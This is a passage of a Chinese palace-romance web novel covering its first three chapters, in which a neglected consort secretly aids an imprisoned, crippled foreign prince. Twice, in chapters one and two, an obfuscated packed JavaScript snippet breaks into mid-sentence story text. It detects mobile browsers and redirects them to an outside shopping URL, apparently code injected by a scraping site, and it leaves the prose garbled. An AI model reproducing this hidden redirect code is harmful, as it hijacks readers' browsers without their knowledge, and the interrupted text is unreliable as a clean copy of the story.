《芍药媚君心(重生)》 1. 第001章 幽梦初醒 大周皇宫丽华宫 瑰丽的夕阳如残血般洒落在金碧辉煌的宫墙檐角,将那冰冷的琉璃瓦映出一层虚幻而哀婉的金红。殿内,绣着缠枝莲纹的半透明纱帘在微风中轻轻晃动,搅散了半室缭绕的檀香。在这一片静谧的香霭中,宫人们皆屏息凝神,连衣物摩擦的声响都压到了最低,唯余铜镜前那抹娉婷的身影,正对着镜中模糊的轮廓独自沉思。 宁梓韵静静地坐着,指尖若有似无地触碰着妆台上那枚早已冷透的玉质镇纸。 “娘娘……” 门外传来一声细碎的脚步,随即是宫女欲言又止的低唤。 宁梓韵不动声色,纤长的手指在案几上微微一顿。她看着镜中那个脸色略显苍白的自己,唇角微不可察地向上勾起一抹弧度,彷佛对这意料之中的造访与失落早已洞若观火。 “怎么,又是她?” 宁梓韵的声音很轻,像是一片飘落在冰面上的羽毛,听不出太多的情绪波澜。 “……是。” 宫女青芜挑帘入内,低垂着头,那一个字落得极沉,室内随即陷入了片刻令人窒息的静默。 “哎,苦丧着脸做什么,这事又不是第一次遇到了。” 宁梓韵终于转过身,她的语调依旧温柔,却像一柄拂过雪面的钝刃,带着一种不带情绪的锋利。她那双曾被太后称赞最是有灵气的眼眸,不知何时起,竟随着这深宫寒暑的更迭,一点点失去了往日的华彩,显得有些黯淡无神。 青芜看着自家主子这副恬淡模样,却是忍不住红了眼圈。她紧紧绞着手中的帕子,愤恨不平地说道:“娘娘您就是人太好,才让庆和宫那位处处欺负到您头前。这后宫里谁不晓得,皇上今夜本是定下了要过来丽华宫的,连晚膳的菜色都是按着您的喜好备下的……” “说是夜里梦魇惊魂,需要真龙阳气镇压……奴婢呸!谁信她那一套?这世上哪有这么凑巧的事,总在皇上驾临丽华宫的半道上,淑妃娘娘就这儿痛那儿痛的,简直是鬼话连篇!” 宁梓韵听着青芜连珠炮似的抱怨,只是轻轻拉过她的手,指尖在那粗糙的掌心抚了抚,笑容浅淡而疏离“青芜,话说到这里便罢。圣心难测,皇上想去哪儿,那是他的权力。” “可在奴婢看来,她李思然就是不安好心!娘娘您忘了吗,当初她晋升四妃那日,竟敢在众目睽睽之下想跟皇上讨要‘丽’字作为封号。她这是想做什么?这丽华宫分明是娘娘您的生来归处,她却想占了这封号去,这般做派,奴婢听了都觉得恶心。” 想起那日的场景,青芜更是气不打一处来。这宫里什么字眼不好挑,偏偏要选这“丽”字,甚至在众人脸色变幻之际,李思然还能装出一脸后怕、不知者无罪的模样,那演技简直精湛得令人作呕。 可当时的亘安呢? 那位端坐在龙椅上的帝王,也仅仅是淡淡地瞥了宁梓韵一眼,随即便挥挥手,将这件逾矩之事轻描淡写地翻了篇。那一日丽华宫所受的冷眼与尴尬,每当青芜回想起来,都觉得浑身发冷。 “青芜!” 眼见青芜越说越没了规矩,宁梓韵神色一懔,终于沉下脸来唤了一声。 声音不高,却足以让义愤填膺的青芜瞬间噤声。 此时寝殿内门扉紧闭,除她们主仆二人外并无旁人。但宁梓韵在宫中向来谨慎,她知道在这金漆雕琢的笼子里,墙壁都是会说话的。她不容许身边的人在言谈间失了分寸,那是取祸之道。 她缓缓抬手,一支接一支地卸下头上的珠钗。那些繁复华美的装饰被剥落后,显露出一张素净得近乎冷硬的脸。 宁梓韵掬起一捧微凉的清水拍在面上,洗去了那层薄薄的胭脂。镜中女子的容颜在水雾中生出一股清冷之气,彷佛将所有的妍丽与生机都深藏在了心底最阴暗的角落,不愿再示于人前。 “娘娘……” 见宁梓韵面上彻底没了笑意,青芜有些局促地轻唤,却又不敢多言。 看着这忠心耿耿却又有些冒失的婢女,宁梓韵轻轻摇了摇头,睨了她一眼,终究化作一声幽幽的轻叹:“替本宫梳发吧。” 玉梳滑过如墨的长发,发丝顺滑如云流,在指间流转。青芜看着镜中女子那双清冷得令人心碎的眉眼,鼻头一酸,终究是跪倒在地。 “娘娘,奴婢就是替您抱不平……您可是堂堂尚书府的千金小姐,是大周朝名正言顺的贵妃。那区区一位不明来历的女子,凭什么处处压在您头上?不过是仗着皇上的那点宠爱,就敢在这后宫里作威作福……” “奴婢就是想不明白,论情分,娘娘您比那狐媚子陪皇上更久,从少时伴读到如今,您最知他的冷暖。为何皇上……为何他就是看不见呢?” 青芜一边抹着眼泪,一边将憋了许久的话竹筒倒豆子般说了出来。她那副委屈的样子,若是旁人瞧见了,怕是还以为受了冷落的人是她自己。 “青芜。” 宁梓韵打断了她,眼神却不自觉地柔软了几分。 这是从尚书府便一直陪在身边的丫头,她那点心思,宁梓韵怎会不明了?只是这份忠心太过锋利,在这宫中,若是不收敛着,早晚会成了伤人伤己的刃。 亘安不待见自己,这是不争的事实。她努力了许久,试图用温情与体谅去填补两人之间的鸿沟,可最后却发现那深渊根本无法跨越。她心里难受吗?自然是难受的。可这些没来由的委屈,她不想让青芜跟着一同担惊受怕。 宁梓韵眸底的失落一闪即逝,她笑着弯下腰,将青芜搀扶起身,手指替她拭去眼角的泪痕:“傻丫头,瞧你这副样子……不就是被人拦胡了一次晚膳吗?咱以后也有的是机会,嗯?” “可是皇上他这几日明明答应了……” “青芜,本宫能入宫侍候皇上,这本身就已经是天大的福分。这世间哪有那么多公平与否?况且,太后娘娘待我始终是极好的。” 说起太后,宁梓韵的神色才真正柔和了下来。这冰冷、华丽、充满算计的宫廷里,即便奴仆成群、嫔妃众多,但真正能让她说上几句心里话的,也唯有住在尚华宫的那位长辈了。 当初能进这宫墙,也是太后的一句话,将她推上了贵妃的高位。如今大周皇宫中凤仪宫主位空悬,她身为贵妃,便是这后宫名义上的女主人。 只不过…… 尊贵归尊贵,权力虽握在手中,但底下的嫔妃们却都是聪明伶俐的人精。她们的态度,往往随着帝王恩宠的偏向而发生微妙的偏移。 宁梓韵眼中遮掩不住的失落与释然,落进了青芜眼里,让这小宫女的心揪得更紧了。她觉得自家主子什么都好,就是心肠太软,性子太韧。 不就是因为当初皇上在火场中救过她,她便一门心思地扑在上头,死心塌地到了这般地步?在青芜看来,这简直是太傻、太天真了。 青芜的情绪变化全在宁梓韵的观察之中。她轻轻笑了一下,站起身来:“离天黑还有段时辰,这屋里闷得慌,陪本宫去外头散散步吧。” “啊?”青芜猛地一愣。 后宫皆知,丽华宫的宁贵妃性情孤冷,极少踏出宫门一步。除了每月固定去尚华宫给太上皇和太后请安之外,她大多时间都待在自己的小天地里。 如今太上皇与太后早已相携远游,宁梓韵更是没了踏出丽华宫的理由。这也是为什么即便她掌握着协理六宫之权,却依然无法完全震慑那些私下议论纷纷的奴才。 宁梓韵从不屑于去解释那些不堪的言论,这也导致后宫嫔妃们在背后的闲言碎语愈演愈烈。青芜虽几次想去分辨,但主子没发话,她也不敢自作主张,唯恐惹出更大的祸端,连累主子更被皇上厌弃。 如今主子竟然主动提出要出门,青芜高兴得合不拢嘴,哪还会记得刚才的那些不痛快? 晚霞西沉,余晖将宫道的青砖染上了一层厚重的暗金。主仆二人一前一后,在长长的宫道上缓缓而行。 看着青芜那副喜滋滋的模样,甚至还兴致勃勃地指着御花园远处开得正艳的牡丹跟她炫耀,宁梓韵的唇瓣忍不住弯了弯,低声呢喃:“还真好哄。” “娘娘,您方才说什么?奴婢没听清楚。”青芜回过头,一脸迷茫。 “没什么。既然出来了,趁着天光还在,便多走一会儿。那边——” 宁梓韵的话还未说完,指尖刚指向前方,便见远处走来泱泱一群人。那是一众捧着乐器、行色匆匆的伶人,正往庆和宫的方向赶。领头的太监不断回头催促,声音尖细而焦急:“哎哟我的小祖宗们,行行好,算咱家求你们了!走快点成吗?若是拂了那位主子的兴致,你们这几条命可都不够赔的!” 那个太监,宁梓韵是认得的。那是李思然身边的大管事。 至于后头那群艺人,身上的服饰花纹并非宫中旧制,透着一股鲜活的市井气息。宁梓韵心头微动,虽然不能完全确定,但她隐约能猜到,那是从京城最好的乐坊里请来的戏班子。 太监的叫喊声并不小,在寂静的宫道上显得格外刺耳。站在一侧的青芜自然也听得真切。她懊恼地拍了拍自己的脑袋,心里直犯嘀咕:她怎么就忘了今日庆和宫那位要大排筵席作妖的事?竟然还兴高采烈地拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490871|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子出来散步,这不是活生生地撞在刀口上吗? “怎么,你认识他们?” 宁梓韵的语调依旧温婉,像是随口的一句询问,但她眼神中的清明却让青芜无处遁形。 “恩……奴婢确实有所耳闻。不过也就是些唱曲的小玩意,没什么意思。娘娘,咱们换个方向去走走吧,奴婢知道御花园后头有个……” “青芜,走吧,去看看。” 宁梓韵平静地打断了她的掩饰,迈开脚步往前走去。青芜立刻噤了声,一脸惨淡地跟在后头。 陪在主子身边这么多年,宁梓韵的一个眼神、一个动作,青芜都能猜透。宁梓韵抬起手,在青芜的头顶上轻轻拍了拍,像是安慰:“本宫不难过。只是想去瞧瞧,好不好?” 那温柔的语气里带着一丝不易察觉的落寞。青芜吸了吸鼻子,强忍着将眼眶里的泪水压了回去。 这世道真是不公。明明自家主子才是最尊贵、最温良的人,为何皇上偏偏就看不见,反而使劲地宠着那个满身心机的淑妃?难道良善之人,注定在这后宫里得不到好报吗? 青芜将眼底的不甘藏好,领着主子悄悄靠近庆和宫。她们与那班伶人保持着一段安全的距离,加上夜色渐浓,并无人察觉丽华宫的贵妃正立在暗处观望。 这也是意料之中的事。宫里的人个个都是人精,谁不知道丽华宫与庆和宫表面和谐、实则水火不容?尤其是那位淑妃,虽然位分低于宁梓韵,但那份独占鳌头的恩宠,足以让任何一个女人红了眼。 庆和宫前此刻灯火煌煌,宫人往来如织,好不热闹。隔着重重珠帘与宫墙,依稀可以听见女子娇俏的笑声与男人低沉、宠溺的低笑交错在一起。 宁梓韵站在一株苍劲的松树影下。月光照不进那块阴影,她便在那黑暗中静静地听着,既不动弹,也不言语。 青芜忧心地望着自家主子。那些所谓的“梦魇惊魂”,果然都只是一个拙劣而荒谬的幌子,为的不过是从丽华宫把皇上给抢走罢了。 “走吧。” 直到那边的曲子演奏到了尾声,青芜才低声开口。 “娘娘,您……要是不舒服,就说出来。” “我无事。” 宁梓韵转身往回走。她的眼中没有愤怒,也没有哀怨,只有一种漫无边际的平静,如同深不见底的古井水,任凭风吹浪涌,表面依旧不起一丝波澜。 “有些人,生来便是能得人偏爱的。这与她做了什么无关,仅仅是因为旁人愿意为她掀起千层浪。” 她的语气里透着一种看穿世事的通透与凄凉。青芜心疼得要命,却也知道在这种时候,任何安慰都显得苍白无力。主子脸上没有半分情绪波动,这场景她怕是早已在心中演练过无数遍。从最初的失落与期待,到如今的淡然与死心,这中间究竟受过多少无声的折磨,唯有她自己知晓。 “娘娘……” “走吧,该回宫了。” 宁梓韵抬手按了按胸口,那里隐约传来一阵阵微小的刺疼感,让她眉心微微一蹙,随即又迅速舒展开来。她下意识地忽视了那种不适,由着青芜扶着她的手臂,在渐深的暮色中往丽华宫走去。 瑰丽的夕阳早已彻底沉没在重重宫墙之下,月色初上,却带不来半分暖意,反而给宁梓韵清冷的背影平添了几分寂寥。青芜在脑中绞尽脑汁想说些逗趣的话缓解氛围,却发现自己在此刻竟是一个字也吐不出来。 回到丽华宫,宁梓韵再次坐在了那扇雕花窗前,望着远方一点点被黑暗吞噬的天际。 她的心中压着太多沉重的往事。 那些年少时与他一同读书的欢笑、那一场在芍药花丛中的悸动、那一份对他一见钟情的执念……如今都化作了最沉重的枷锁,将她牢牢困在原地。 她并非外界传闻的那个米商庶女。她是当朝权臣为了追求名利而抛弃的弃子血脉。那一纸被刻意抹去的身世背后,牵连着太多人的利益与权谋,也注定了她只能成为这深宫棋盘上的一枚棋子。 她一直以为,只要自己尽心尽力地做好这个贵妃,只要自己足够温柔体贴,终有一日能换回那个男人的一次回眸。 可岁月流逝,她也慢慢看清了现实。 有些人并不缺真心,他们只是对妳的真心不感兴趣;有些位置,也不是妳用尽全身力气去争夺,就能坐得稳、坐得长的。 宁梓韵紧紧握住手中的那柄团扇,指节因为过于用力而显得有些发白。 春梦未醒,梦中之人依旧遥不可及。 可是,梦做得再长,终究也是要醒的。 2. 第002章 故影重回 天色渐暗,大周皇宫深处的冷意如潮水般悄然逼近。在这深宫之中,光鲜亮丽的只是表面,转过几道宫墙,途经的便尽是些长年无人问津的偏殿与旧苑。草木枯折,静寂得几乎能听见自己杂乱的呼吸声。为了避开庆和宫那头四处寻人的眼线,青芜提议绕个远路。 宁梓韵本是无所谓的,但见青芜眼神惶恐、心慌意乱,也就随她去了。 “娘娘……咱们还是原路回吧?这里……阴森得紧,奴婢这背上的鸡皮疙瘩都起了一层。”不到一刻钟,青芜就开始后悔了。 此地紧邻波弦宫,禁卫松散,只因所关之人身份尴尬,连皇上亘安也懒得过问,底下人自然没谁放在心上。白日里偶尔抄近路从这儿经过也还罢了,如今夜色四合,四下里死寂一片,唯有枝头的乌鸦悄然栖息,漆黑的羽翼融入暮色中,气氛显得格外瘆人。 相较于青芜的胆怯,宁梓韵的神情却是一如既往的平淡。她伸手接过青芜手中微微晃动的灯笼,反手紧紧牵住她那只发冷的手,迈步向前。 “怕黑便闭上眼,本宫带你走。” “可、可是奴婢得保护娘娘,怎可……”话未说完,一旁的枯草丛中忽然窜出一道疾如残影的黑影,带起一阵窸窣声。 “啊——!有鬼!娘娘,有鬼啊!”青芜惊声尖叫。她素来胆小,方才尚能强作镇定,如今被这一惊,再也维持不住形象,竟一把抱住宁梓韵的手臂,全身发颤,恨不得整个人缩进娘娘的斗篷里。 “莫怕,本宫在。闭上眼,不要看,走快些就到了。”宁梓韵也瞧见了那道黑影,却并未显得惊惶。她眸光微动,心中浮现出一丝猜测,眼下见青芜惊恐至极,只得暂时压下疑虑,先行离开这片荒凉之地。 牵着青芜又走了一会儿,脚下的石板路因为年久失修,显得有些凹凸不平。 “娘娘,奴婢可以睁眼了吗?”青芜的声音带着明显的哭腔,全然没了往日的活泼劲。这条路平时瞧着不过百步,今夜却像走不完似的,越走越觉得不对劲。 难不成……此处真的有什么不干净的东西?青芜心中胡思乱想,正欲睁开一条缝瞧瞧,忽听耳边传来一阵陌生的男子声音。她刚要惊呼,却被宁梓韵迅速捂住了嘴。 “嘘——” 声音是从前方一座残破的宫殿内传出来的,且不止一人。 宁梓韵顿了顿脚步,拉着青芜闪身躲进一处断壁的阴影中。她轻手轻脚地向反方向撤去,显然不欲被人察觉。方才惊鸿一瞥,她已瞥见那宫殿破旧的匾额,知晓了此处所居者的身份。这些深宫隐秘,她本不想让青芜牵扯进来。 只是,那些说话声穿过透风的窗根,越发清晰,竟像故意一般直直传入她耳中,教她想不听都难。 “爷,奴才求您了,让奴才去请个大夫吧。若您嫌外头那些大夫不济,奴才去太医院跪着求一个也成,无论抢的还是绑的,只要您发一句话……” “爷?”宁梓韵轻蹙秀眉。说话之人声音尖细,带着宫中内侍特有的阴柔,且语气中充满了焦灼,显然是个忠心的老太监。 她脚步未停,里头之人与她素无瓜葛,在宫中生存,多一事不如少一事。当年在尚书府时,她便晓得什么事该插手,什么事该视而不见,如今贵为贵妃,更需步步为营。 但耳边接下来的对话,却让她的心神猛地一震。 “三爷,这腿疾不能耽误啊!当年太医便叮嘱过,到了冬日必得静养保暖,否则会恶化的……” 许是被这奴才念叨得烦了,那个被唤作“三爷”的男人总算有了回应。 “恶化?”语调极冷,低哑中带着些许疲惫,却又透着一股对自身处境毫不在意的凉薄。 宁梓韵的脚步蓦地僵住。这声音……太熟悉了,熟悉得勾起了她尘封已久的记忆。 “跟了本王这些年,脑子也坏了吗?这腿早就废了,还折腾什么?” “爷……” “是谁在外面?”一声清冷的厉喝骤然响起,如同寒刃出鞘。 宁梓韵猛地回神,这才发现自己方才竟鬼使神差地靠近了宫墙。身后的青芜已吓得软了腿,死死扯着她的袖子。 她轻拍青芜的手背示意无碍,而后深吸一口气,压低嗓音,用一种不卑不亢却又带着几分惊慌的语气应道:“奴婢见天色将黑,抄近路回宫,无意中听见王爷说话,惊扰了贵人,请王爷恕罪。” 宫墙老旧,不少砖石早已剥落,在风吹雨打中裂开了缝隙。偏偏有一道破口与她的视线齐平,宁梓韵一眼望去,便见院中一人静静地坐在轮椅上。在那模糊的轮廓之下,男子的五官半掩在阴影里,只能依稀辨得姿态挺拔,哪怕是坐在轮椅上,也有种寻常人难及的气度。 墙后的男子冷哼一声,却并未当场拆穿她的谎言。 “哦?哪个宫的?” 宁梓韵微顿,脑海中浮现出那个处处与她作对的身影,随口编道:“……庆和宫。” 殿内跪着的太监听闻是淑妃宫里的,眼神顿时亮了起来,忙不迭地说道:“是淑妃娘娘的人?那敢问姑娘能否帮个忙,传句话请太医来诊诊我们爷的伤,奴才谢过姑娘大恩——” 话未说完,便被他的主子一记冷眼瞪了回去,生生将后半截话咽了下去。自从主子的腿伤了之后,这脾性是愈发难以捉摸了。 “咳咳,那什么,奴才方才什么都没说,姑娘赶紧回去吧,再晚些便要看不清楚路了,一人走这儿实在不安全。” 宁梓韵的指尖轻轻抚在斑驳的宫墙上。和她的丽华宫相比,这里的物质条件极其匮乏,唯一相同的,大抵便是那股子浓浓的孤寂。 她原以为里面关着的不过是秦国送来的闲散王爷,未料到,竟然是儿时曾有一面之缘的秦国战王——禾凛。 禾凛……这名字在她记忆里已经蒙尘多年。 那年他随秦国使团入朝,少年英姿,眼如寒星,哪怕立于金銮殿下也无半点畏惧。当时年少的她还不懂什么朝局动荡,只觉得这少年气势凌人,却唯独对自己格外温和。 后来风波骤起,秦国与大周交恶,他被囚禁于京。朝堂上下,鲜少有人再敢提起此人,她也未再想起。 却没想,今日重逢,竟是在这般凄凉的境地下。他已不复往日的凌厉锋芒,竟被废了双腿,困于冷宫,教众人避之不及。 “回去吧。”墙后的男子淡声开口,“既听见了,就不必装聋作哑。这里不是你该来的地方。” 语气不重,却带着一种久居上位、不容置喙的威压。 宁梓韵神情恢复如常,轻声回道:“奴婢知错,这就离开。” 说罢,她转身欲走,却听得身后传来一声极轻的咳嗽,似是强行压制的闷痛。她的脚步并未停下,只是掩在袖中的指尖微微颤了颤。 “奴婢待会儿就和娘娘说一声,送点炭火过来。” “不过今日天色已晚,最快也得明日了,就不知王爷能不能熬过今晚……” “可以可以,不差这一晚!姑娘和淑妃娘娘的大恩大德,奴才一定会谨记在心!” 那太监乐不可支,丝毫不顾自家主子的脸色,自顾自地连声致谢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490872|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁梓韵在黑暗中轻轻牵了牵唇角,那笑容如一缕微光,稍纵即逝。“奴婢告退。” 宁梓韵再无停留,牵着青芜穿过布满青苔的石板旧径,步步远离。 “青芜。” “奴婢在。” “回宫后去太医院,把前几日送来的那帖补气活血的药拿来,再添一支极品人参。就说本宫夜里头痛,命他们抓紧送到丽华宫,不得有误。” 青芜一愣,还没回过神来,便见主子用余光朝那面宫墙的方向扫了一眼。那一瞬,她便懂了主子的意思,忙点头称是。 身后的宫墙静默无声,只有风拂过枝头的沙沙声。直到二人的身影完全消失在夜色中,殿内才再度响起一阵压抑的咳声。 “爷,这位姑娘……她是来探听消息的眼线吗?” “探听什么?”禾凛冷笑一声,抬手用力揉了揉眉心,“本王如今这副半废之身,还有什么消息值得别人费心探听?” “奴才不是这个意思,只是她方才说是庆和宫……那可是淑妃娘娘的宫殿……” 话未说完,禾凛抬眼看向他,声音低哑:“她不是淑妃的人。” “可、可她亲口说是……” “她若是,怎会连个名号都不敢报?”他轻声一笑,笑意在那张苍白的脸上显得有些凉薄,“这京城之中,除了那个傻子,谁还敢与本王搭话?” 太监一怔。他跟了禾凛多年,自然明白主子的眼光极高。当年在战场上被万人敬仰,朝中不知多少贵女暗送秋波,也不曾见他多看一眼。可今夜,主子却破天荒地没有动怒,甚至就这么放那女子离开了。 “罢了。”禾凛靠进冰冷的椅背,手指缓缓摩挲着轮椅的扶手,眉宇间浮现出一抹难以言喻的情绪。 回到丽华宫时,天色已完全黑透。 青芜将灯笼挂起,又点上暖香,才小心翼翼地开口道:“娘娘,您……您怎么知道那人是王爷?奴婢方才只听见有人咳嗽,连脸都没看清呢。” 青芜方才真的是吓坏了,回到宫里说话都不利索,喝了好几口热茶才缓过劲来。 宁梓韵坐在窗边,轻摇茶盏,看着澄澈的茶汤,声音平淡如水:“声音。” “声音?”青芜一时不明所以,可见主子不欲多言,只得应声退下办事去了。 待青芜走远,宁梓韵站起身,走到窗边,推开一角窗棂,望向遥远的西北方。那是他被囚禁之处的方向。 她还记得,那年及笄之礼,他曾托人送她一支金簪。上头芍药花蕊里的每一颗玉石,都是秦国特有的稀有宝石,通体温润,握在手中生暖。 “姑娘怕冷。”他当时隔着屏风,声音温雅,“这大周的雪,冷得有些过头了。” 她当时只是微笑回礼,并未真正放在心上。如今想来,那一抹多年前的暖意,竟隔了这么长的岁月,仍未完全散去。 那种温煦的、如邻家兄长般的语调,宁梓韵一直没能忘却。那时她刚认祖归宗,在尚书府过得如履薄冰,不受人待见,唯独那位仅有几面之缘的秦国质子对她照拂有加。 他对她的好,她一直都记着。这也是为何方才她会脱口而出要帮他的原因。 她想,哪怕只是顺手,也想护他一程。 夜深如墨。 波弦宫内,轮椅上的男子缓缓闭上双眼,指尖在椅柄上轻轻叩击,沉思良久。 禾凛的声音在寂静的夜里显得极轻:“这宫中……新进的小骗子。” 带着几分玩味,还有一丝连他自己都没察觉的怀念。 3. 第003章 玉盏余香 宁梓韵彻夜未眠。 窗外的天光犹自黯淡,整座丽华宫陷入了一片如死水般的沉寂。值夜的青芜昨夜累极,此时正蜷缩在外间的榻上沉睡,唯有宁梓韵只身斜倚在冰冷的贵妃榻上。她的指尖死死握着那支金簪,芍药花形的玉石在微弱的残烛下,泛着一层幽冷而通透的光。簪尾磨得有些圆滑,显然是经年累月被主人握在掌心反复摩挲,却始终未曾佩戴。 她反复抚触着那冰凉的纹理,脑海中却如走马灯般,总回绕着昨夜那道如寒冰碎裂般的嗓音:“这腿早就废了,还折腾什么?” 那是何等惨烈而自嘲的语调。宁梓韵闭上眼,记忆中那个鲜衣怒马、骑在白马上的少年身影再次浮现。他曾是大周京城里最耀眼的一颗星,眉目温雅,谈笑间尽是风流。可七载寒暑,竟将那样一个天之骄子磨得形销骨立,困于方寸轮椅之间。 心口隐隐发闷,彷佛有一只无形的手正死死攥紧她的胸膛,让每一次呼吸都带着钝痛。 “娘娘,您怎么还没歇息?”青芜略带沙哑的声音自内殿探出,她揉着忪惺的睡眼,看着主子清冷的背影,眼底满是心疼。 “睡不着。”宁梓韵不动声色地将簪子收入宽大的袖中,面色清冷如常。 青芜张了张嘴,似欲再劝,终究还是化作一声轻叹:“奴婢昨夜已嘱咐人私下备好了炭火与棉被,趁着现下时辰尚早,这就给那头送去。” 宁梓韵颔首,眼神清明:“做得好。” 为了避人耳目,宁梓韵刻意等到深夜巡逻换岗之时才有所行动。 “娘娘,还是由奴婢去送吧。您万金之躯,在那宫女偏房里换上这等粗鄙的衣裳,若是传出去,奴婢万死难辞其咎。”青芜瞧着宁梓韵动作麻利地套上那身灰扑扑的扫雪宫女服,急得直跳脚。 “不用,本宫亲自去。”宁梓韵系紧腰带,将原本高耸的云髻压低,用一块布巾缠住,“待会你就站在那面长满绿罗的宫墙边把风,稍有动静便给本宫传信。” 不待青芜婉拒,宁梓韵微凉的手指在她唇上轻轻点了点,打个噤声的手势,便带着她借着夜色的掩护,匆匆离了丽华宫。 亥时将近,禁卫军正值换岗。宁梓韵先让青芜送上几样精致的茶点和低度果酒,托词是贵妃体恤值夜辛苦,待打发了守卫,两人便猫着腰往波弦宫的方向潜去。 波弦宫前,断壁残垣间隐约透着点冷光。宁梓韵刚踏入宫门,便听见里头主仆二人的低语。男子的声音依旧低沉,带着些许掩饰不住的不耐,却又在老奴的絮叨中透着一丝无奈的温和。 她暗自衡量了一下手中那沉甸甸的物什,深吸一口气,迈步进入了这座被时光遗忘的废殿。 这是她初次真正踏入禾凛的居所。尚未看清殿内那破旧的陈设,她的视线便被那轮椅上的男子所吸引。禾凛今日换了一身深褐色的旧袍,那张本该温润如玉的面容被一股浓重的阴郁气息覆盖。即便如此,那挺拔的背脊依然能让人窥见昔日战将的英姿。只可惜,那双腿…… 宁梓韵仅看了一瞬,便迅速挪开了怜惜的目光,依照低等宫女的礼数,敛衽行礼:“奴婢给王爷请安。” 禾凛深邃的眼眸中布满了探究与疑虑。他没说话,只是死死盯着宁梓韵手中那些沉重的包裹,目光锐利得彷佛要看穿那粗糙的布料。 在那如实质般的视线压迫下,宁梓韵感觉到了前所未有的压力,她微微挪动小腿,以此舒缓不安。 不知过了多久,才听到禾凛冷冷吐出两个字:“免礼。” 这两字犹如寒风掠过深宫幽暗,冰冷刺骨。果真是传言中阴气最重的废宫,宁梓韵指尖紧攥衣襬,这些细微的动作悉数落入了禾凛眼底。 “多谢王爷。” 阿元如获至宝地冲上来,忙不迭地接过物什。从厚实的锦被到上好的炭火,防寒用度一应俱全。阿元看了一圈,却有些不死心地问:“姑娘,不知太医院那头……” “我家娘娘说了,能送这些物资过来已是触犯了皇上亘安的底线。若是让太医公然出现在波弦宫,恐怕不仅王爷难保,连娘娘也保不住。”宁梓韵眼眸微垂,话未说尽,阿元已心领神会。 那个狭隘且多疑的皇帝,怎会容忍他们这些秦国余孽?阿元心中对那高位之人的不满已化作难以抑制的怒火。 “虽未请成太医,但娘娘吩咐奴婢,将这本书赠予王爷。”宁梓韵从袖中掏出一本封面泛黄、边角破旧的书册,示意阿元呈上。 那书册封面无字,禾凛微微扬眉,随手翻开。映入眼帘的,是精妙的穴位图与数套古法推拿的手法。 “此书乃昔日一位高人所赠。王爷可尝试书中的推拿之法,配合这几瓶膏药一并使用,对舒筋活络极有帮助。”宁梓韵语气平和,不卑不亢。她似乎料到禾凛难以信任,便补充道:“奴婢从娘娘处学得此法数成。若王爷不放心,可让阿元公公随奴婢示范。” 禾凛沉默良久,眼底闪过一丝明显的不耐。他低头拍了拍毫无知觉的双腿,自嘲一笑:“本王的腿早已残废,无药可医。若这书上的法子有用,那这世上岂不是再无残废之人?” “况且,你家主子有没有想过,若私相授受的事被那皇帝发现,她的处境又当如何?” 他的眼神骤然转冷,带着一种残忍的揣测看向宁梓韵:“若她是打着想当本王正妃的打算,那请你回去转告她——本王如今穿不起旁人的破鞋,也无意纳大周女子。无论她援手之意为何,本王既给不起,也要不得。” “赶紧带着你的东西,滚回去。” 被这般恶语奚落,宁梓韵非但不恼,反而轻笑出声。那笑声清灵,像是一串撞击在坚冰上的银铃。若非亲眼见过这位王爷私下里的脾性,她恐怕真会被他这副拒人于千里之外的假面给骗了。 阿元站在一旁看得目瞪口呆。三爷向来话少,今日竟然对一名宫女滔滔不绝说了这么多,虽然话里带刺,但也着实令阿元心中难以平衡。 他撇嘴小声道:“都还没试过呢,爷怎么知道行不通。” “若王爷不信,不妨先让阿元公公照著书上所绘替您揉捏穴位,不出一刻钟,定能见到效验。”宁梓韵顺势说道。 猝不及防被点名的阿元,鬼使神差地附和:“对对对,让奴才试试,说不定您这腿真能有点知觉了。” 宁梓韵站在一侧,唇角微微上扬。那抹极小的弧度虽然隐秘,却还是被禾凛捕捉到了。 “既然你说这推拿手法如神,那又何必麻烦旁人?”禾凛目光冷冽,语气带着三分挑衅,“若你想展现这所谓的援手诚意,便自己过来帮本王试试。” “……”宁梓韵柳眉微皱,旋即抚平,平静地点头,“是奴婢思量不周。药和书皆由奴婢送来,理当由奴婢示范推拿之术。” 语毕,她轻抚袖摆,双腿轻盈弯下,半跪在轮椅前。那双纤细如玉、带着淡淡草药香气的柔夷,就这样放在了禾凛那双僵硬的腿上,按著书上的方位在穴道上轻轻揉按。 虽隔着厚实的衣料,指尖却彷佛带着某种滚烫的热意,顺着穴道缓缓涌入。那股热流像是沉寂许久的血脉在翻腾,女子身上那股淡淡的茉莉香在阴冷的殿内渐渐氤氲,缠绕在禾凛鼻端,萦绕不散。 好在禾凛心智坚定,他死死压下眼底翻涌的情绪,面上不显丝毫异样。直到宁梓韵起身告辞,他才从那仿若脱魂的静滞中回过神来。 “三爷,您……您有没有听见奴才刚才说的?”阿元探头探脑地凑近,一脸懵然。 禾凛脸色阴沉如水,眼神却还停留在膝上那本医书上,半晌未语。 “三爷,您这支青玉毛笔……怎么断了?” 禾凛低头一瞥,才发现掌中那支通体无瑕的青玉笔已折成两段。那是秦国雪真山的玉石所制,笔杆温润,此刻却成了残次品。他冷冷吐出四字:“质地太差。” “……”阿元张了张嘴,心说这可是大周皇帝都抢不着的宝贝,到了您这儿竟然成了质地太差。 